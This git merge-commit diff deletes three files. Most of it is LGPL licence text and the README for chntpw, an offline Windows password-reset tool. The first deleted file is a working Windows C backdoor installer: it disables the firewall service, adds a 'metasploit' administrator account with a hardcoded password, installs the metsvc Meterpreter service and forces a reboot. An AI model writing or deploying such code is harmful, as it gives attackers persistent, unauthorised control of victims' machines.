Merge remote branch 'upstream/master'
This commit is contained in:
commit
ffcf5af9b0
Binary file not shown.
|
@ -1,68 +0,0 @@
|
|||
#include <Windows.h>
|
||||
#include <Lm.h>
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
typedef BOOL (WINAPI *Wow64DisableWow64FsRedirectionFunc) ( __out PVOID *OldValue );
|
||||
void start(){
|
||||
//fix wow32-64 fsredir
|
||||
PVOID OldValue;
|
||||
Wow64DisableWow64FsRedirectionFunc disableWow = (Wow64DisableWow64FsRedirectionFunc)GetProcAddress(
|
||||
GetModuleHandleA("kernel32"),"Wow64DisableWow64FsRedirection");
|
||||
if( disableWow )
|
||||
disableWow(&OldValue);
|
||||
char windowsPath[MAX_PATH];
|
||||
GetWindowsDirectoryA(windowsPath,MAX_PATH);
|
||||
SetCurrentDirectoryA(windowsPath);
|
||||
|
||||
//turn off fw
|
||||
HKEY mkey;
|
||||
DWORD four = 4;
|
||||
RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\MpsSvc",
|
||||
0,KEY_SET_VALUE|KEY_WOW64_64KEY,&mkey);
|
||||
RegSetValueExA(mkey,"Start",0,REG_DWORD,(PBYTE)&four,sizeof(DWORD));
|
||||
RegCloseKey(mkey);
|
||||
|
||||
//add user
|
||||
USER_INFO_1 userinfo;
|
||||
userinfo.usri1_name = L"metasploit";
|
||||
userinfo.usri1_password = L"p@SSw0rd!123456";
|
||||
userinfo.usri1_priv = USER_PRIV_USER;
|
||||
userinfo.usri1_home_dir = NULL;
|
||||
userinfo.usri1_comment = L"";
|
||||
userinfo.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT | UF_DONT_EXPIRE_PASSWD;
|
||||
userinfo.usri1_script_path = NULL;
|
||||
DWORD res = NetUserAdd(NULL,1,(PBYTE)&userinfo,NULL);
|
||||
if(res == NERR_Success){
|
||||
LOCALGROUP_MEMBERS_INFO_3 lgmi3;
|
||||
lgmi3.lgrmi3_domainandname = userinfo.usri1_name;
|
||||
NetLocalGroupAddMembers(NULL,L"Administrators",3,(PBYTE)&lgmi3,1);
|
||||
}
|
||||
|
||||
//start metsvc
|
||||
STARTUPINFOA strt;
|
||||
PROCESS_INFORMATION proci;
|
||||
for(int i = 0; i < sizeof(strt); i++)
|
||||
((char*)&strt)[i]=0;
|
||||
for(int i = 0; i < sizeof(proci); i++)
|
||||
((char*)&proci)[i]=0;
|
||||
if(CreateProcessA("System32\\metsvc.exe","metsvc.exe install-service",NULL,
|
||||
NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&strt,&proci) == 0 )//if 64 bit
|
||||
CreateProcessA("SysWOW64\\metsvc.exe","metsvc.exe install-service",NULL,
|
||||
NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&strt,&proci);
|
||||
|
||||
//copy file back
|
||||
while(CopyFileA("System32\\services.bak.exe","System32\\services.exe",FALSE) == 0)
|
||||
Sleep(100);
|
||||
|
||||
//reboot
|
||||
HANDLE tokenh;
|
||||
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&tokenh);
|
||||
TOKEN_PRIVILEGES tkp, otkp;
|
||||
DWORD oldsize;
|
||||
tkp.PrivilegeCount = 1;
|
||||
LookupPrivilegeValueA(NULL,"SeShutdownPrivilege",&(tkp.Privileges[0].Luid));
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(tokenh,FALSE,&tkp,sizeof(tkp),&otkp,&oldsize);
|
||||
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
|
||||
SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED);
|
||||
}
|
||||
|
|
@ -1,504 +0,0 @@
|
|||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Libraries
|
||||
|
||||
If you develop a new library, and you want it to be of the greatest
|
||||
possible use to the public, we recommend making it free software that
|
||||
everyone can redistribute and change. You can do so by permitting
|
||||
redistribution under these terms (or, alternatively, under the terms of the
|
||||
ordinary General Public License).
|
||||
|
||||
To apply these terms, attach the following notices to the library. It is
|
||||
safest to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least the
|
||||
"copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the library's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the library, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the
|
||||
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1990
|
||||
Ty Coon, President of Vice
|
||||
|
||||
That's all there is to it!
|
||||
|
||||
|
|
@ -1,241 +0,0 @@
|
|||
|
||||
The Offline NT Password Editor
|
||||
|
||||
(c) 1997-2010 Petter Nordahl-Hagen
|
||||
|
||||
This is free software, licensed under the following:
|
||||
|
||||
"ntreg" (the registry library) is licensed under the GNU Lesser Public
|
||||
License. See LGPL.txt.
|
||||
|
||||
"chntpw" (the password reset / registry editor frontend) is licensed
|
||||
under the GNU General Public License, see GPL.txt.
|
||||
|
||||
"reged" (registry editor /export tool) is licensed
|
||||
under the GNU General Public License, see GPL.txt.
|
||||
|
||||
See INSTALL.txt for compile/installation instructions.
|
||||
|
||||
Where to get more info:
|
||||
-----------------------
|
||||
|
||||
http://pogostick.net/~pnh/ntpasswd/
|
||||
|
||||
At that site there's a floppy and a bootable CD that use chntpw to
|
||||
access the NT/2k/XP/Vista-system it is booted on to edit password etc.
|
||||
The instructions below are for the standalone program itself, not the floppy.
|
||||
|
||||
What does chntpw do?
|
||||
--------------------
|
||||
|
||||
This little program will enable you to view some information and
|
||||
change user passwords in a Windows NT SAM userdatabase file.
|
||||
You do not need to know the old passwords.
|
||||
However, you need to get at the file some way or another yourself.
|
||||
In addition it contains a simple registry editor with full write support,
|
||||
and hex-editor which enables you to
|
||||
fiddle around with bits&bytes in the file as you wish yourself.
|
||||
|
||||
Why?
|
||||
----
|
||||
|
||||
I often forget passwords. Especially on test installations (that
|
||||
I just _must_ have some stuff out of half a year later..)
|
||||
On most unix-based boxes you just boot the thingy off some kind
|
||||
of rescue bootmedia (cd/floppy etc), and simply edit the
|
||||
password file.
|
||||
On Windows NT however, as far as I know, there is no way except reinstalling
|
||||
the userdatabase, losing all users except admin.
|
||||
(ok, some companies let you pay lotsa $$$$$ for some rescue service..)
|
||||
|
||||
How?
|
||||
----
|
||||
|
||||
Currently, this thing only runs under linux, but it may just happen
|
||||
to compile on other platforms, too.
|
||||
(there are dos-versions available, look for links on my webpage)
|
||||
So, to set a new adminpassword on your NT installation you either:
|
||||
1) Take the harddrive and mount it on a linux-box
|
||||
2) Use a linux-bootdisk or CD
|
||||
one is available at: http://pogostick.net/~pnh/ntpasswd/
|
||||
ie. you do it offline, with the NT system down.
|
||||
|
||||
Usage:
|
||||
------
|
||||
|
||||
This is usage of the "chntpw" program binary only.
|
||||
For info on the bootdisk, see the web site.
|
||||
Some of the output format has changed a little since the docs were
|
||||
first written.
|
||||
|
||||
chntpw version 0.99.2 040105, (c) Petter N Hagen
|
||||
chntpw: change password of a user in a NT SAM file, or invoke registry editor.
|
||||
chntpw [OPTIONS] <samfile> [systemfile] [securityfile] [otherreghive] [...]
|
||||
-h This message
|
||||
-u <user> Username to change, Administrator is default
|
||||
-l list all users in SAM file
|
||||
-i Interactive. List users (as -l) then ask for username to change
|
||||
-e Registry editor. Now with full write support!
|
||||
-d Enter buffer debugger instead (hex editor),
|
||||
-t Trace. Show hexdump of structs/segments. (deprecated debug function)
|
||||
-v Be a little more verbose (for debuging)
|
||||
-L Write names of changed files to /tmp/changed
|
||||
-N No allocation mode. Only (old style) same length overwrites possible
|
||||
|
||||
Normal usage is:
|
||||
|
||||
> chntpw sam system security
|
||||
- open registry hives 'sam' and 'system' and change administrator account.
|
||||
Verions dated later from Feb 1999 and later also supports
|
||||
and will find the admin account, even if the name has been changed,
|
||||
or the name has been localized (different languageversion of NT
|
||||
use different admin-names)
|
||||
|
||||
The -u option:
|
||||
Specifies user to change:
|
||||
|
||||
> chntpw -u jabbathehutt mysam
|
||||
- Prompt for password for 'jabbathehutt', if found (otherwise do nothing)
|
||||
|
||||
Or you may give RID number in hex:
|
||||
> chntpw -u 0x1f4 mysam
|
||||
- Will edit administrator.
|
||||
|
||||
Names does not support multibyte (unicode) characters like
|
||||
some russian and asian locales. Give RID in hex to edit users
|
||||
with such names. Must start with 0x. Ex: 0x2fa
|
||||
|
||||
The -l option:
|
||||
Will list all users in the sam-file.
|
||||
|
||||
The -i option:
|
||||
Go into the interactive menu system.
|
||||
|
||||
The -d option:
|
||||
This will load the file, and then immediately enter the
|
||||
buffer debugger.
|
||||
This is a simple hex-editor with only a few commands,
|
||||
enter ? at the . prompt to se a short command overview.
|
||||
'q' exits without saving, 's' exit and saves.
|
||||
|
||||
The -e option:
|
||||
Will enter the registry editor.
|
||||
You can navigate the registry like a filesystem at the command-line prompt:
|
||||
See regedit.txt file for more info.
|
||||
|
||||
The -t option:
|
||||
This is a debug function (extended -l) to show how it traces the chain
|
||||
of structs in the file. This also includes a raw interpretation
|
||||
of the different registry structures + a hex dump.
|
||||
|
||||
The -L option:
|
||||
Drops the filenames of the changed hives in /tmp/changed
|
||||
Used by the bootdisk scripts.
|
||||
|
||||
The -N option:
|
||||
Will fall back to old edit mode, disable the block allocations
|
||||
and only support overwrite-same-size. Used to ensure safety
|
||||
in testing period.
|
||||
|
||||
How does it work:
|
||||
-----------------
|
||||
|
||||
A struct, called the V value of a key in the NT registry
|
||||
was suddenly somewhat documented through the pwdump utility
|
||||
